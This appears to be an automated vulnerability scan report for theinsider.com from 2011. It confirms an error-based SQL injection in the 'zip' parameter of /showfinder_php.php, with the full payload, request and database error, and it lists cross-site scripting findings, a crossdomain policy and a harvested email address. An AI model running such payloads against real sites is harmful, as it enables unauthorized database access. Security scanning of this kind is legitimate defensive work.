SQL Injection, Reflected XSS, Javascript Injection, Zip Parameter, theinsider.com

- /showfinder_php.php

/showfinder_php.php CONFIRMED

http://www.theinsider.com/showfinder_php.php?zip='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cc..

Parameters

Parameter	Type	Value
zip	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Request

GET /showfinder_php.php?zip='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.theinsider.com/media/flash/coincident/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Cache-Control: no-cache
Host: www.theinsider.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Encoding:
Cache-Control: max-age=300
Date: Tue, 06 Dec 2011 07:17:25 GMT
Content-Length: 61
Connection: keep-alive

Duplicate entry '_!@4dilemma:0' for key 1

- /media/flash/coincident/

/media/flash/coincident/

http://www.theinsider.com/media/flash/coincident/

Found E-mails

carl@coincident.tv

Request

GET /media/flash/coincident/ HTTP/1.1
Referer: http://www.theinsider.com/media/flash/coincident/popOutPlayer.html?media=http://www.theinsider.com/tv/47106_Tyra_Banks_on_the_Out_of_This_World_ANTM_Finale/embed.ctv
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Cache-Control: no-cache
Host: www.theinsider.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Encoding:
Cache-Control: max-age=300
Date: Tue, 06 Dec 2011 06:56:40 GMT
Content-Length: 11546
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="https://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META HTTP-EQUIV="EXPIRES" CONTENT="01 Jan 1970 00:00:00 GMT">
<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<meta name="COPYRIGHT" content="© 2009, 2010, 2011 Coincident TV">

<meta property="fb:app_id" content="167481339991512"/>

<script src="/media/flash/coincident/phase2/ctv.js" type="text/javascript"></script>
<script src="/media/flash/coincident/scripts/json2.js"></script>
<script src="/media/flash/coincident/scripts/jquery-1.3.2.min.js" type="text/javascript"></script>
<script src="/media/flash/coincident/scripts/jquery.jsonp-2.1.4.min.js" type="text/javascript"></script>
<script src="/media/flash/coincident/scripts/swfobject.js" type="text/javascript" ></script>
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
<script src="/media/flash/coincident/scripts/jquery.zrssfeed.min.js" type="text/javascript"></script>


<script type="text/javascript">
var CTV_go2NextVidTickId;
var CTV_go2NextVidTickCntr;
var CTV_annoTickPreFix = "endslate_tick_";
var CTV_annoTickNext = "endslate_up_next";
var CTV_bannerWidth;
var CTV_bannerHeight;
var CTV_rssOptions = {
limit: 10,
header: false,
date: false,
linktarget: "_blank"
};
//var CTV_ET_topStoriesURL = "http://www.etonline.com/partners/rss/index.xml";
var CTV_INSIDER_topStoriesURL = "http://www.theinsider.com/partners/index.xml";

function CTV_showTremorBanner(arrTBannerPs) {
var tBanType = arrTBannerPs["type"]; //"type:t"+arrTBannerPs["type"];
var tBanSource = arrTBannerPs["source"]; //"source:t"+arrTBannerPs["source"];
var tBanClick = arrTBannerPs["click"]; //"click:t"+arrTBannerPs["click"];
CTV_bannerWidth = arrTBannerPs["width"]; //"width:t"+arrTBannerPs["width"];
CTV_bannerHeight = arrTBannerPs["height"]; //"height:t"+arrTBannerPs["height"];

var divtBannerAd = document.getElementById('CTV_tBannerAd');
var cntBannerAd = document.getElementById('CTV_tHolderAd');

if(!divtBannerAd && !cntBannerAd) {
divtBannerAd = document.createElement('DIV');
divtBannerAd.id = "CTV_tBannerAd";
cntBannerAd = document.createElement('IFRAME');
cntBannerAd.id = "CTV_tHolderAd";
cntBannerAd.frameBorder = "0";
cntBannerAd.scrolling = "no";
divtBannerAd.appendChild(cntBannerAd);
document.body.appendChild(divtBannerAd);
}
// position Tremor banner Ad Div
CTV_postionTremoAd (arrTBannerPs);

// insert Tremor Ad depending on type
cntBannerAd.src = tBanSource;
}
//-----------------------------------------------------------------------------------------
function CTV_postionTremoAd (arrTBannerPs) {
var divtBannerAd = document.getElementById('CTV_tBannerAd');

divtBannerAd.style.top = (parseInt(CTV.vars.top) - 8) + "px";
divtBannerAd.style.left = parseInt(CTV.vars.left) + parseInt(CTV.vars.width) + 5 + "px";
divtBannerAd.style.width = CTV_bannerWidth + 25 + "px";
divtBannerAd.style.height = CTV_bannerHeight + 28 + "px";
}
//-----------------------------------------------------------------------------------------
function positionRightReel() {
if(document.getElementById('CTVswfCont').style.opacity == "0")
{
return;
}

var socialDiv = document.getElementById('CTV_social');
var socialCmntsDiv = document.getElementById('CTV_socialComments');
var tweetsDiv = document.getElementById('CTV_tweetStreams');
var where2Watch = document.getElementById('CTV_CBSWhere2Watch');

socialDiv.style.left = parseInt(CTV.vars.left) + parseInt(CTV.vars.width) + 10 + "px";
socialDiv.style.visibility = "visible";

socialCmntsDiv.style.left = parseInt(CTV.vars.left) + "px";
socialCmntsDiv.style.top = parseInt(CTV.vars.top) + parseInt(CTV.vars.height) + 10 + "px";

tweetsDiv.style.left = parseInt(CTV.vars.left) + parseInt(CTV.vars.width) + 11 + "px";
tweetsDiv.style.visibility = "visible";

if(document.getElementById('CTV_tBannerAd')) {
CTV_postionTremoAd();
}

where2Watch.style.visibility = "visible";
where2Watch.style.left = parseInt(CTV.vars.left) + "px";
where2Watch.style.top = parseInt(CTV.vars.top) + parseInt(CTV.vars.height) + "px";
where2Watch.style.width = parseInt(CTV.vars.width) + "px";
}
//-----------------------------------------------------------------------------------------
function toggleCTVComments(vCmnts) {
document.getElementById('CTV_socialComments').style.visibility = (vCmnts) ? "visible" : "hidden";
CTV_resizeMe();
}
//-----------------------------------------------------------------------------------------
function CTV_Page_Shift_Down(id, action) {
if (action == "down"){
document.getElementById(id).style.display = "block";
}
else{
document.getElementById(id).style.display = "none";
}
}
//-----------------------------------------------------------------------------------------
function CTV_Page_Shift_Up(id, action) {
if (action == "up"){
document.getElementById(id).style.display = "block";
}
else{
document.getElementById(id).style.display = "none";
}
}
//-----------------------------------------------------------------------------------------
function CTV_Page_Shift_All_Down(){
CTV_Page_Shift_Up('relatedtweetson','down');
CTV_Page_Shift_Down('relatedtweetsoff','down');
CTV_Page_Shift_Down('topstorieson','down');
CTV_Page_Shift_Up('topstoriesoff','down');
CTV_Page_Shift_Up('feed1','down');
CTV_Page_Shift_Down('feed2','down');
}
//-----------------------------------------------------------------------------------------
function CTV_Page_Shift_All_Up(){
CTV_Page_Shift_Up('relatedtweetson','up');
CTV_Page_Shift_Down('relatedtweetsoff','up');
CTV_Page_Shift_Down('topstorieson','up');
CTV_Page_Shift_Up('topstoriesoff','up');
CTV_Page_Shift_Up('feed1','up');
CTV_Page_Shift_Down('feed2','up');
}
//-----------------------------------------------------------------------------------------
function CTV_countdownTimer(timerSecs) {
CTV_go2NextVidTickId = setInterval("CTV_tickNow()", 1000);
CTV_go2NextVidTickCntr = parseInt(timerSecs.timerSecs) - 1;
}
//-----------------------------------------------------------------------------------------
function CTV_tickNow() {
if(CTV_go2NextVidTickCntr == 0) {
CTV_killTick();
document.getElementById('CTVPlayer').player_invokeAnnotation(CTV_annoTickNext);
return;
}
document.getElementById('CTVPlayer').player_invokeAnnotation(CTV_annoTickPreFix+CTV_go2NextVidTickCntr);
CTV_go2NextVidTickCntr --;
}
//-----------------------------------------------------------------------------------------
function CTV_killTick() {
clearInterval(CTV_go2NextVidTickId);
}
//-----------------------------------------------------------------------------------------
function CTV_disablePopOut() {
}
//-----------------------------------------------------------------------------------------
function CTV_showWhere2Watch() {
$("div#panel").slideDown("slow");
$(".tab").css("height","42px");
CTV_resizeMe();
}
//-----------------------------------------------------------------------------------------
function CTV_insideAniFrame() {
return (window.location != window.parent.location) ? true : false;
}
//-----------------------------------------------------------------------------------------
function showCTVPlayer(showSWF) {
if($("#CTVswfCont").css("opacity") == "1")
return;
if(showSWF) {
killLoader();
$("#CTVswfCont").animate({opacity:1},500,positionRightReel);
$("#CTVswfArea").animate({opacity:1},500);
}
else {
$("#CTVswfCont").css("opacity","0");
$("#CTVswfArea").css("opacity","0");
}
}

//-----------------------------------------------------------------------------------------
function CTV_resizeMe(overListingsV) {
var noCommentsH = "527px";
var yesCommentsH = "765px";
var yesListings = "612px";

var isListingsVisible = (document.getElementById('panel').style.display == "block") ? true : false;
isListingsVisible = (overListingsV) ? false : isListingsVisible;
var isCommentsVisible = (document.getElementById('CTV_socialComments').style.visibility == "visible") ? true : false;

if (CTV_insideAniFrame()) {
if(isCommentsVisible) {
parent.CTV_ctvWindowSize(yesCommentsH);

}
else {
if(isListingsVisible) {
parent.CTV_ctvWindowSize(yesListings);

}
else {
parent.CTV_ctvWindowSize(noCommentsH);
}
}
}

//------------------------- TWEET BOX ---------------------------
if (isCommentsVisible) {
document.getElementById("feed1").style.height= "365px";
document.getElementById("feed2").style.height= "365px";
}
else {
document.getElementById("feed1").style.height= "127px";
document.getElementById("feed2").style.height= "127px";
}
}

//-----------------------------------------------------------------------------------------
function CTV_slideListingsUp() {
$(".tab").css("height","18px");
$("div#panel").slideUp("slow");
CTV_resizeMe(true);
}
//-----------------------------------------------------------------------------------------
// CBS Listings related functions
//-----------------------------------------------------------------------------------------
function GetXmlHttpObject()
{
if (window.XMLHttpRequest)
{
// code for IE7+, Firefox, Chrome, Opera, Safari
return new XMLHttpRequest();
}
if (window.ActiveXObject)
{
// code for IE6, IE5
return new ActiveXObject("Microsoft.XMLHTTP");
}
return null;
}
//-----------------------------------------------------------------------------------------
function get_local_stations()
{
var xmlhttp = GetXmlHttpObject();
var zip = document.getElementById("showfinder_zip").value;

if(zip == "Enter Your ZIP Code" || zip == "")
{
document.getElementById("showfinder_results").innerHTML = "Kindly enter a valid Zipcode.";
}
else
{
var url = "http://www.theinsider.com/showfinder_php.php?zip="+ zip;
xmlhttp.onreadystatechange=function()
{
if(xmlhttp.readyState==4)
{
if(xmlhttp.status == 200)
{
var res = xmlhttp.responseText;

document.getElementById('showfinder_results').innerHTML = res;
}
}
}
xmlhttp.open("GET",url,true);
xmlhttp.send(null);
}
}
//-----------------------------------------------------------------------------------------
// CBS Listings related functions
//-----------------------------------------------------------------------------------------

var button;// = document.getElementById('CTV_fbLoginBtn'); //Facebook login/logout button
var userInfo;
var resp = new Object();//collects friends in resp.data, and userid, from two asynchronous calls, fed up to server
//when both are ready.
resp.data = new Array();
var gotuserid = 0;
var gotfriends = 0;
var userFound = 0;
var currentVideo;

function login(response, info){
if (response.authResponse) {
var accessToken = response.authResponse.accessToken;

// userInfo.innerHTML = '<img src="https://graph.facebook.com/' + info.id + '/picture">' + info.name
//+ "<br /> Your Access Token: " + accessToken;
// button.innerHTML = 'Logout';
showLoader(false);
document.getElementById('other').style.display = "block";
}
}

function logout(response){
userInfo.innerHTML = "";
document.getElementById('debug').innerHTML = "";
document.getElementById('other').style.display = "none";
showLoader(false);
}

function showLoader(status){
return;
if (status)
document.getElementById('loader').style.display = 'block';
else
document.getElementById('loader').style.display = 'none';
}

var feed1widget;
var feed2widget;

//JSON-P is used to communicate with the user.cgi, which will usually be in a different domain.
//JSON-P is invoked by the $.jsonp call from scripts/jquery.jsonp-2.1.4.min.js
// it creates an HTML script entry, which is allowed to be from a different domain, and the script
// is a call to a callback routine, which does whatever is desired.
//
// the purpose of keeping the cross domain rules in Javascript escapes me, since this permits arbitrary two way
// communication with any server in the JSON protocol.

function videostart(videoname){
showCTVPlayer(true);
currentVideo = videoname;
var enc = encodeURIComponent(videoname._url);
videoname.userid = userFound;
//step1: tell user.cgi that we are here.
var foo = encodeURIComponent(JSON.stringify(videoname));
$.jsonp({
"url": "http://apps.coincident.tv/fbwatch/user.cgi?watch="+foo+"&callback=?", //for ET/Online app=online should be added, e.g. ...user.cgi?app=online&watch=...
"data": {
"alt": "json-in-script"
},
"success": function(newhtml){$("#divfr2").html(newhtml.html);},
"error": function(d,msg){
//alert("Could not find user buybushcheap");
}
});
//$("#divfr2").load("http://apps.coincident.tv/fbwatch/user.cgi",{"foo":JSON.stringify(videoname)});
//step 2: create an fb:comments with our ctv file as an extension, thus making it unique.
document.getElementById('CTV_socialComments').innerHTML =
'<fb:comments href="' + videoname.fbCommentsLocation + '" num_posts="2" width="622"></fb:comments>';
FB.XFBML.parse(document.getElementById('CTV_socialComments'));
//Create Twitter widgets on first cuepoint. This gets around stalling problems when the widgets were in the HTML.
//Use the undocumented parameter id: to specify an empty div, otherwise it will trash the body.
//Currently 2011-08-22 there is a bug, subsequent calls seem to OR the search term with the previous occupant.
if (feed1widget){
feed1widget.destroy();
}
if (feed2widget){
feed2widget.destroy();
}
$('#feed1').empty();
$('#feed2').empty();
var script1 = document.createElement('SCRIPT');
var relatedTFilterText = "feed1widget = new TWTR.Widget({ version: 2, type: 'TYPE', id: 'feed1', search: '" + videoname.relatedTweetsFilter + "', width: 280, height: 365, theme: { shell: { background: '#ffffff', color: '#ffffff' }, tweets: { background: '#ffffff', color: '#000000', links: '#000000' } }, features: { scrollbar: false, loop: true, live: true, hashtags: true, timestamp: true, avatars: true, toptweets: true, behavior: 'default' } }).render().start();";
script1.type = "text/javascript";
if (window.ActiveXObject && !window.opera) {
script1.text = relatedTFilterText;
} else {
script1.textContent = relatedTFilterText;
}
document.getElementById('feed1').appendChild(script1);

/* var script2 = document.createElement('SCRIPT');
var topStoriesFilterText = "feed2widget = new TWTR.Widget({ version: 2, type: 'TYPE', id: 'feed2',..

- /crossdomain.xml

/crossdomain.xml

http://www.theinsider.com/crossdomain.xml

Policy Rules

*.theinsider.com
*.unicornmedia.com
*.unicornapp.com
*.unicornmediabeta.com

Request

GET /crossdomain.xml HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Cache-Control: no-cache
Host: www.theinsider.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Fri, 11 Mar 2011 07:24:13 GMT
ETag: "3709c5-1aa-49e2fd9550080"
Accept-Ranges: bytes
Content-Length: 426
Content-Type: application/xml
Cache-Control: max-age=299
Date: Tue, 06 Dec 2011 06:53:48 GMT
Connection: keep-alive

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy> <allow-access-from domain="*.theinsider.com" /> <allow-access-from domain="*.unicornmedia.com" secure="false" /> <allow-access-from domain="*.unicornapp.com" secure="false"/> <allow-access-from domain="*.unicornmediabeta.com" secure="false" /></cross-domain-policy>

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Encoding:
Cache-Control: max-age=300
Date: Tue, 06 Dec 2011 06:58:40 GMT
Content-Length: 12649
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Javier Colon Talks About What's Next for Him - TheInsider.com</title> <meta name="description" content="" /> <meta name="keywords" content="2011 AMA Gift Suite, Beverly Hills, GBK, Javier Colon, Javier Colon Talks About What's Next at the 2011 AMA Gift Suite, SLS Hotel, Thanksgiving, the voice" /> <meta name="category" content="music" /> <meta name="date" content="2011-11-21 20:50:00" /><meta property="og:title" content="Javier Colon Talks About What's Next for Him" /><meta property="og:type" content="article" /><meta property="og:url" content="http://www.theinsider.com/music/46454_Javier_Colon_Talks_About_What_s_Next_at_the_2011_AMA_Gift_Suite/index.html" /><meta property="og:image" content="http://www.theinsider.com/media/video/related_thumbs/46454/fbshare.png" /><meta property="og:description" content="This past weekend, some stars got to let their inner child loose as they attended the 2011 AMA Gift Suite at the SLS Hotel in Beverly Hills, hosted by GBK. Filled with lavish items and accessories for guests, you would think they wouldn't have time to talk about what's on their plate, but some did." /><meta property="og:site_name" content="www.theinsider.com" /><meta property="fb:app_id" content="123263397703043"/><PageMap><DataObject type="date"><Attribute name="displaydate" value="2011-11-21 20:50:00" /><Attribute name="sdate" value="20111121" /></DataObject><DataObject type="thumbnail"><Attribute name="src" value="http://www.theinsider.com/media/video/related_thumbs/46454/fbshare.png" /><Attribute name="width" value="150" /><Attribute name="height" value="150" /></DataObject></PageMap> <link rel="stylesheet" href="/css/main/main.css" type="text/css" /> <link rel="stylesheet" href="/css/nivo-slider/nivo-slider.css" type="text/css" media="screen" /> <link rel="shortcut icon" href="http://www.theinsider.com/favicon.ico" /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script> <script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script> <script src="http://www.theinsider.com/Scripts/swfobject_modified.js" type="text/javascript"></script> <script src="/js/jquery-1.4.2.min.js" type="text/javascript"></script><script src="/scripts/jquery.nivo.slider.pack.js" type="text/javascript"></script> <script src="Scripts/swfobject_modified.js" type="text/javascript"></script> <script type="text/javascript">$(document).ready(function() { $('#slider').nivoSlider({ effect:'slideInLeft', // Specify sets like: 'fold,fade,sliceDown' animSpeed:200, // Slide transition speed pauseTime:4000, // How long each slide will show startSlide:0, // Set starting Slide (0 index) directionNav:false, // Next & Prev navigation directionNavHide:true, // Only show on hover controlNav:true, // 1,2,3... navigation controlNavThumbs:true, // Use thumbnails for Control Nav controlNavThumbsFromRel:false, // Use image rel for thumbs controlNavThumbsSearch: '.jpg', // Replace this with... controlNavThumbsReplace: '_thumb.jpg', // ...this in thumb Image src keyboardNav:true, // Use left & right arrows pauseOnHover:true, // Stop animation while hovering manualAdvance:false, // Force manual transitions captionOpacity:1, // Universal caption opacity prevText: 'Prev', // Prev directionNav text nextText: 'Next', // Next directionNav text beforeChange: function(){}, // Triggers before a slide transition afterChange: function(){}, // Triggers after a slide transition slideshowEnd: function(){}, // Triggers after all slides have been shown lastSlide: function(){}, // Triggers when last slide is shown afterLoad: function(){} // Triggers when slider has loaded });});</script><style type='text/css'> .nivo-imageLink img{width:416px; height:234px;}</style><link rel="stylesheet" href="http://detect.get.it/lb1/lightbox.css" /> <script> var getit_boxes = [ { id: 'lb1', width: 480, height: 235, noscroll: false, autopop: 'getit' } ]; </script> </head><body class="body"><script type="text/javascript">window.Meebo||function(c){function p(){return["<",i,' onload="var d=',g,";d.getElementsByTagName('head')[0].",j,"(d.",h,"('script')).",k,"='//cim.meebo.com/cim?iv=",a.v,"&",q,"=",c[q],c[l]?"&"+l+"="+c[l]:"",c[e]?"&"+e+"="+c[e]:"","'\"></",i,">"].join("")}var f=window,a=f.Meebo=f.Meebo||function(){(a._=a._||[]).push(arguments)},d=document,i="body",m=d[i],r;if(!m){r=arguments.callee;return setTimeout(function(){r(c)},100)}a.$={0:+new Date};a.T=function(u){a.$[u]=new Date-a.$[0]};a.v=5;var j="appendChild",h="createElement",k="src",l="lang",q="network",e="domain",n=d[h]("div"),v=n[j](d[h]("m")),b=d[h]("iframe"),g="document",o,s=function(){a.T("load");a("load")};f.addEventListener?f.addEventListener("load",s,false):f.attachEvent("onload",s);n.style.display="none";m.insertBefore(n,m.firstChild).id="meebo";b.frameBorder="0";b.name=b.id="meebo-iframe";b.allowTransparency="true";v[j](b);try{b.contentWindow[g].open()}catch(w){c[e]=d[e];o="javascript:var d="+g+".open();d.domain='"+d.domain+"';";b[k]=o+"void(0);"}try{var t=b.contentWindow[g];t.write(p());t.close()}catch(x){b[k]=o+'d.write("'+p().replace(/"/g,'\\"')+'");d.close();'}a.T(1)}({network:"theinsider"});</script><body class="body"> <div id='leaderboard-top-box'><div class="ad_center">

<div class="dart_ad">
<script language="JavaScript" type="text/javascript">
//<![CDATA[
ord=Math.random()*10000000000000000;
document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/theinsider.com/music_video;tile=1;sz=960x50,728x90;ord=' + ord + '?"><\/script>');

//]]>
</script>
<noscript>
<a href="http://ad.doubleclick.net/jump/theinsider.com/music_video;tile=1;sz=960x50,728x90;ord=123456789?" target="_blank" ><img src="http://ad.doubleclick.net/ad/theinsider.com/music_video;tile=1;sz=960x50,960x50;ord=123456789?" border="0" alt="" /></a>
</noscript>
</div>

</div></div> <div id="container">  
<div id="header">

<div id="logo"><a href="/index.html" title="The Insider.com"><span>The Insider.com</span></a></div>



<div id="header_search_social">


<div id="social_wrapper">

<a href="http://www.twitter.com/home?status=Javier+Colon+Talks+About+What*s+Next+at+the+2011+AMA+Gift+Suite+http://insdr.co/w4032n+via+@theinsider" target="_blank" style="float:left; margin-right: 2px;"><img src="/media/img/header_twitter_icon.jpg" alt="twitter"></a>
<div class="addthis_toolbox addthis_default_style" addthis:url="http://www.theinsider.com" addthis:title="The Insider Homepage">

<a class="addthis_button_stumbleupon"></a>
<a class="addthis_button_facebook_like" fb:like:layout="button_count"></a>
</div>
</div>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e8e37c800be6a9a"></script>




<div id="search">
<div id="search_wrapper">
<form action="/search/index.html?sort=date-sdate" id="" method="POST">
<div>
<input type="text" class="searchbox" name="q" value="SEARCH" onclick="javascript:if(this.value == 'SEARCH THE INSIDER.COM'){this.value = '';}" />
<input type="image" src="http://www.theinsider.com/media/img/search_mag.jpg" class="searchbox_submit" value="" name="sa" />
<input type="hidden" name="hq" value="more:recent4" />
</div>
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
</div>
</div>

</div>



<div id="navbar">
<ul>
<li class="navtab gossip"> <a href="/gossip/index.html">GOSSIP</a> </li>
<li class="navtab tv"> <a href="/tv/index.html">TV</a> </li>
<li class="navtab movies"> <a href="/movies/index.html">MOVIES</a> </li>
<li class="navtab fashion"> <a href="/fashion/index.html">FASHION</a> </li>
<li class="navtab music"> <a href="/music/index.html">MUSIC</a> </li>
<li class="navtab photos"> <a href="/photos/index.html">PHOTOS</a> </li>
<li class="navtab video"> <a href="/video/index.html">VIDEOS</a> </li>

</ul>
</div>


<div class="clearfix"></div>

<h1>The Insider.com</h1>
</div>


<link rel="stylesheet" href="/css/main/main.css" type="text/css" /><div id="trending_wrapper"><ul id="trending_list"><li><a href='/gossip/39237_Before_They_Were_Famous/index.html'><img src='/media/photo/2011/12/100371/megan_fox_416_tcanham_124432726.jpg' alt='' width='138' height='70' /></a><a href='/gossip/39237_Before_They_Were_Famous/index.html' class='trending_links'>Before They Were Famous</a></li><li class='dotted_separator'></li><li><a href='/movies/46991_Daniel_Craig_swim_scene_for_Skyfall/index.html'><img src='/media/photo/2011/12/100212/craig_416.jpg' alt='' width='138' height='70' /></a><a href='/movies/46991_Daniel_Craig_swim_scene_for_Skyfall/index.html' class='trending_links'>Daniel Craig (Swim)Suits Up For 'Skyfall'</a></li><li class='dotted_separator'></li><li><a href='/fashion/46993_The_Good_the_Bad_and_the_Ugly/index.html'><img src='/media/photo/2011/12/100316/leann_rimes_julianne_hough_416.jpg' alt='' width='138' height='70' /></a><a href='/fashion/46993_The_Good_the_Bad_and_the_Ugly/index.html' class='trending_links'>The Good, the Bad and the Ugly</a></li><li class='dotted_separator'></li><li><a href='/visitcalifornia/46918_Star_Ballers_and_their_Celeb_Fans/index.html'><img src='/media/photo/2011/12/99690/vid_kobe_bryant_416_112759001.jpg' alt='' width='138' height='70' /></a><a href='/visitcalifornia/46918_Star_Ballers_and_their_Celeb_Fans/index.html' class='trending_links'>Star Ballers and their Celeb Fans</a></li><li class='dotted_separator'></li></ul></div>  
  <style> #from_around_the_web_hp { border: 1px solid #CCCCCC; margin: 15px 0 10px 0; min-height: 200px; padding: 20px 10px 0; position: relative; width: 635px !important; z-index: 10; }</style><!– Acudeo companion banner loader script –> <script type="text/javascript" src="http://objects.tremormedia.com/embed/js/banners.js"></script> <script type="text/javascript"> function displayCompanionBanners(banners) { tmDisplayBanner(banners, "adCompanionBanner", 300, 250); } </script> <!– Acudeo companion banner loader script –> <link rel='stylesheet' href='/css/music/music.css' type='text/css' /> <script src="/lib/jqmodal.js" type="text/javascript"></script> <style> .jqmClose { background: url("/media/img/btn_close3.png") no-repeat scroll 0 0 transparent; display: block; height: 30px; float:right; position: relative; top: -10px; width: 30px; } .jqmWindow { background-color: transparent !important; color: #000000; left: -3px; position: absolute; top: -200px; width: 800px; z-index: 9999; } .jqmOverlay { background-color: #000; position:fixed !important; } * html .jqmWindow { position: absolute; width: 700px; } .clear { clear: both; } .hidden { display: none; } .hideme { display: none; } .hide { display: none; } .hide_spot { visibility: hidden; } </style> <script type="text/javascript">/* ================================================================ This copyright notice must be untouched at all times.Copyright (c) 2009 Stu Nicholls - stunicholls.com - all rights reserved.=================================================================== */ $(document).ready(function(){ $("#comments_wrapper").show(); $(".hidden").hide(); $(".show").html('<div class="show_comments_btn"></div>'); $(".show").click(function() { if (this.className.indexOf('clicked') != -1 ) { $(this).prev().slideUp(500); $(this).removeClass('clicked') $(this).html('<div class="show_comments_btn"></div>'); } else { $(this).addClass('clicked') $(this).prev().slideDown(500); $(this).html('<div class="hide_comments_btn"></div>'); } }); }); </script>  <div id="main_content">  <div id="left_col">  <div id="channel_title_bar"> <div id="channel_title"><a href='http://www.theinsider.com/music'><img src='/media/img/channel_page_name_v3_music.png' class='channel_title_logo' alt='' /></a> </div> </div>   <div class="content_container"> <div class="channel_story_img"> <div id='slate_player' class='show_slate' style='z-index: 2;'><div id='featured_video_id'><a href='#' class='ex_hp_featured_trigger'><img src='http://www.theinsider.com/media/photo/2011/11/98476/javier_colon_111122_640.jpg' border='0'/></a><p class='photo_copyright'>THEINSIDER.COM</p></div></div><div class='clearfix'></div><div id='adCompanionBanner'></div><div class='jqmWindow' id='ex_hp_featured'>Please wait... </div><script language="Javascript">$().ready(function() {var close_hp =function(hash){ hash.o.remove(); document.getElementById('ex_hp_featured').innerHTML = '';};$('#ex_hp_featured').jqm({ajax: '/coincident_iframe.html?source=/music/46454_Javier_Colon_Talks_About_What_s_Next_at_the_2011_AMA_Gift_Suite/home.ctv',tri..

VULNERABILITIES Vulnerabilities
	CRITICAL 1 % IMPORTANT 2 % MEDIUM 29 % LOW 1 % INFORMATION 68 %

SQL Injection, Reflected XSS, Javascript Injection, Zip Parameter, theinsider.com REPORT SUMMARY

Total Requests

Average Speed

CHECK SETTINGS

VULNERABILITIES

VULNERABILITY SUMMARY

SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

Classification

/showfinder_php.php CONFIRMED

Parameters

Extracted Data

Request

Response

[Probable] SQL Injection

Impact

Actions to Take

Remedy

Required Skills for Successful Exploitation

External References

Remedy References

Classification

Parameters

Request

Response

Cross-site Scripting

Impact

Remedy

Remedy References

External References

Classification

/tv/ CONFIRMED

Parameters

Request

Response

/photos/index.html CONFIRMED

Parameters

Request

Response

/movies/ CONFIRMED

Parameters

Request

Response

Parameters

Request

Response

Parameters

Request

Response

[Possible] Cross-site Scripting

Impact

Remedy

Remedy References

External References

Classification

Parameters

Request

Response

Parameters

Request

Response

Parameters

Request

Response

Parameters

Request

Response

Parameters

Request

Response

Parameters

Request

Response

Parameters

Request